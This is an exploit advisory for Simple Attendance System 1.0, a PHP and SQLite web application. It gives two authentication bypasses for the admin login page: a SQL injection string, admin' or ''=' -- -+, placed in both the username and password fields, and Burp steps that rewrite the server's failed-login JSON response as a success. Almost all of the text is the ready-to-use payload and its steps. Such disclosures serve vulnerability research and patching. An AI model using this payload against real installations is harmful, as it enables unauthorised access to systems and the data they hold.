Simple Attendance System 1.0 SQL Injection

`# Exploit Title: Simple Attendance System 1.0 - Authenticated bypass  
# Exploit Author: Abdullah Khawaja (hax.3xploit)  
# Date: September 17, 2021  
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/attendance_0.zip  
# Tested on: Linux, windows  
# Vendor: oretnom23  
# Version: v1.0  
  
# Exploit Description:  
Simple Attendance System, is prone to multiple vulnerabilities.   
Easy authentication bypass vulnerability on the application   
allowing the attacker to login  
  
  
----- PoC: Authentication Bypass -----  
  
Administration Panel: http://localhost/attendance/login.php  
  
Username: admin' or ''=' -- -+  
Password: admin' or ''=' -- -+  
  
  
----- PoC-2: Authentication Bypass -----  
  
Steps:   
1. Enter wrong crendentials http://localhost/attendance/login.php  
2. Capture the request in burp and send it to repeater.  
3. Forward the request.  
4. In response tab, replace :  
{"status":"failed","msg":"Invalid username or password."}  
with  
{"status":"success","msg":"Login successfully."}  
  
`